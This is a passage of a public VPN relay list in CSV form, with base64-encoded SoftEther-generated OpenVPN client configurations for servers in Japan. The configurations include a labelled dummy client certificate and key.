owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHVkcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMTQuMTU1LjEyNi4yMzkgMTM5NQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn689958394,58.191.202.238,606329,8,67427772,Japan,JP,11,1000,121210,7167213409354,2weeks,DESKTOP-3L988TG's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM